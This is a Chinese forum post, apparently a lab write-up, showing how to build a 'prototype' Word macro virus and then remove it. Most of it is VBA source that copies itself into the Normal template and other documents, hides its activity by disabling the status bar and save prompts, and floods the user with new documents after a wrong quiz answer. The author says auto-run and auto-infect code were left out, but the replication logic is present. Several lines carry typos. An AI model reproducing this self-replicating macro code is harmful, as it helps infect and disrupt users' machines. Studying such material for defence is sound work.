[原创]宏病毒雏形
发表于:
2014-12-25 21:57
10872
PS:这只是一个病毒雏形,由于涉及安全方面,并没有加入自动运行,自动感染代码段。
1. 病毒制作
2. 病毒清除
实验步骤及数据记录:
病毒制作:
1. 关闭杀毒软件,打开word 2007。
在word 2007界面中点击office ==》word 选项(I)==》在功能区显示“开发工具”选项卡(D)
如图1:
返回word界面,点击“开发工具”==》“宏安全性”,选择启动所有宏,如图2,3
打开一个word文档,Alt+F11打开宏编辑器(开发工具Visual Basic),点击(工程
project下面的project.microsoft word.thisdecument)thisdecument,,然后开始编写宏病毒代码。
如下:
'Document_Close
Sub Document_Close()
'***************************************************************************************
'屏蔽状态栏,以免显示宏病毒执行状态;修改公用模版是自动保存且不提示;自动执行病毒模板
'**************************************************************
On Error Resume Next
Application.DisplayStatusBar = False
'屏蔽状态栏
'**************************************************************
Options.SaveNormalPrompt = False
'修改公用模板时在后台自动保存,不给任何提示 '**************************************************************
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'获取当前文档代码对象
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
'获取共用模板的代码对象
'***************************************************************************************
'获取当前文档对象代码和共用模板对象代码
If ThisDocument = NormalTemplate Then '判断当前文件是否等于公用模板对象
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule '如果是,则获取当前活动文
档的代码对象
End If
'***************************************************************************************
'设立检查当前文档是否被感染,如果没有就自动执行复制宏病毒到模板并修改函数名操作
With host
If .Lines(1.1) <> "Document_Close()" Then '判断当前文档是否感染病毒
.deletelines 1, .countoflines '如果不是,就清除原来的代码
.insertlines 1, .OurcodeLines '嵌入病毒代码
.replaceline 2, "Sub Document_Close()" '更换 Document_Close()
If ThisDocument = NormalTemplate Then '判断当前的文档是否等于公用模块
.replaceline 2, "Sub Document_Open()" '如果是,则替换为 Document_Open()
ActiveDocument.SaveAs ActiveDpcument.FullName '保存文档,并修改函数名
End If
End If
End With
MsgBox "Smallboy of Micro Virus by Content Security Lab" '弹出对话框
End Sub
然后保存,点击运行则弹出一个对话框,如图4:
然后在建立一个公用宏模板。开发工具==》宏(alt+F8)输入一个宏模板名字点击“创建”。如图5:
然后输入如下代码:
'moonlight
Dim nm(4)
Sub Smallboy_Virus()
'
' Smallboy_Virus 宏
'
'
'***************************************************************************************
'屏蔽状态栏,以免显示宏病毒执行状态;修改公用模版是自动保存且不提示;自动执行病毒模板
On Error Resume Next
Application.DisplayStatusBar = False
'屏蔽状态栏
'***************************************************************************************
Options.SaveNormalPrompt = False
'修改公用模板时在后台自动保存,不给任何提示 '***************************************************************************************
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'获取当前文档代码对象
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
'获取共用模板的代码对象
'**************************************************************************************
'获取当前文档对象代码和共用模板对象代码
If ThisDocument = NormalTemplate Then
'判断当前文件是否等于公用模板对象
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'如果是,则获取当前活动文档的代码对象
End If
'************************************************************************************************
'设立检查当前文档是否被感染,如果没有就自动执行复制宏病毒到模板并修改函数名操作
With host
If .Lines(1.1) <> "Smallboy_Virus()" Then
'判断当前文档是否感染病毒
.deletelines 1, .countoflines
'如果不是,就清除原来的代码
.insertlines 1, .OurcodeLines
'嵌入病毒代码
.replaceline 2, "Sub Smallboy_Virus()"
'更换 Smallboy_Virus
If ThisDocument = NormalTemplate Then
'判断当前的文档是否等于公用模块
.replaceline 2, "Sub Smallboy_Virus()"
'如果是,则替换为 Smallboy_Virus
ActiveDocument.SaveAs ActiveDpcument.FullName
'保存文档,并修改函数名()
End If
End If
End With
'***************************************************************************************
'********************************************************************弹出第一个框*******
MsgBox "老乡您好!我来串门了。我谨代表党中央,国务院,中央军委,全国人民和习大大向你表示
真诚的问候和衷心地祝愿!(^_^)! "
'********************************************************************定义算数数据成员***
Count = 0 '定义count=0
try: '执行try语句
On Error GoTo 0
On Error GoTo try
test = -1 '初始化并定义text=-1
con = 1 '初始化并定义con=1
tog$ = "" '初始化tog$
i = 0 '初始化并定义i=0 '开始执行算术数据成员的行循环语句********************************
While test = -1
'因为之前已经定义了test=-1,所以肯定会先执行一次while循环
For i = 0 To 4
'执行一个for循环
nm(i) = Int(Rnd() * 100)
'将rnd()*100的正整数结果赋值给数组nm(i)
con = con * nm(i)
'将con*nm(i)的值传回给con
If i = 4 Then
'如果i=4,也就是for循环结束之后,开始执行if下的语句
tog$ = tog$ + Str$(nm(4)) + "=?"
'将tog$和Str$( nm(4))+字符串"=?"的值都传给tog$
GoTo beg '执行beg语句
End If '上一个if判断语句执行结束
tog$ = tog$ + Str$(nm(i)) + "*"
'将tog$和Str$( nm(4))+字符串"*"的值都传给tog$
Next i '返回for循环
beg:
'显示第二个对话框,进行答题判断
Beep
ans$ = InputBox("今天是" + Date$ + ",我们玩个心算游戏可好?" + Chr$(13) + "如果你答错了,
我将代表月亮消灭你!" + Chr$(13) + tog$, "Smallboy")
'显示心算题,和输入心算结果 '*******************************输入运算结果后将要执行的语句' If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
'判断ans$与con是否相等,这是是主要的if判断语句,是下面进行操作的主要依据 '输入答案正确后将要执行的语句'*****************************************
MsgBox "恭喜您答对了!我代表党中央,国务院,中央军委,全国人民和习大大向你表示热烈的
祝贺!(^_^)!"
'************设置文本格式,字体***************************************************
'Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
' 设置居中对齐
Beep
With Selection.Font
'设置文本字体
.Name = "黑体"
'设置文本字体为黑体
.Size = 16
'设置文本字体大小为16
.Bold = 1
'设置文本字体为粗体
.Underline = 1
'设置文本字体为下划线
.Color = wdColorRose
'设置文本字体问玫瑰红色
End With
Selection.InsertAfter Text = "什么是宏病毒?" '嵌入文本
Selection.InsertParagraphAfter '换行
Beep
Selection.InsertAfter Text:="答案:" '嵌入文本
Selection.Font.Italic = 1 '设置文本字体为斜体
Selection.InsertAfter Text:="你妹啊,我不是!" '嵌入文本
Selection.InsertParagraphAfter '换行
Selection.InsertParagraphAfter '换行
Selection.Font.Italic = 0 '撤销文本为斜体
Beep
Selection.InsertAfter Text:="如何防御宏病毒" '嵌入文本
Selection.InsertParagraphAfter '换行
Selection.InsertParagraphAfter '换行
Beep
Selection.InsertAfter Text:="答案:" '嵌入文本
Selection.Font.Italic = 1 '设置文本字体为斜体
Selection.InsertAfter Text:="别看我,我不知道……" '嵌入文本
MsgBox "按确定键,我将告诉你一个秘密……", "好吧,告诉你吧!我就是梧州学院Small
boy_Virus!"
GoTo out '退出goto语句
'****输入答案不正确后将要执行的语句****************************************
Else '执行else语句,也就是回答错误后将要执行的
Count = Count + 1 'count++,本来count初始化为0
For j = 1 To 20 '执行循环语句,循环20次
Beep
Documents.Add '增加一个现在这个文档
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
'设置文本格式为居中对齐
Selection.InsertAfter Text:="宏病毒" '嵌入一个文本
If Count = 2 Then GoTo out
'判断是否执行打开该文本操作够2个20次,如果够了就退出goto语句
GoTo try
WordBasic.filedefault '退出WordBasic文本
End If
Wend '结束with语句
out: '退出
End Sub '退出Sub
保存文本,按F5进行调试就会得出如图6结果:
点击“确定”将会弹出让你算出一个算术题,然你算出结果,输入答案。如图7
输入答案后点击“确定”,如果结果错误他将会弹出20个当前文本,如图8所示:
然后继续让你解答另一个心算题,如果错了它再继续弹出20个当前文本,如图9:图10
任务管理器瞬间爆表!然后一切归于平静(默默的挨个关闭文档窗口(T_T))
当然,如果你答对了心算题之后,将会出现另一种现象,首先会弹出下面会话框,如图11:
点击确定,将会弹出新的一个文本和一个对话框,文本上面有文字,如图12:
点击确定,将弹出另一个对话框,如图13:
点击之后就没有下文了。整个宏病毒雏形功能实现完毕。
2. 病毒清除
清除病毒很简单,打开word文档,然后在建立一个公用宏模板。开发工具==》宏(alt+F8)
将相关的模块删除即可,如图14:
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: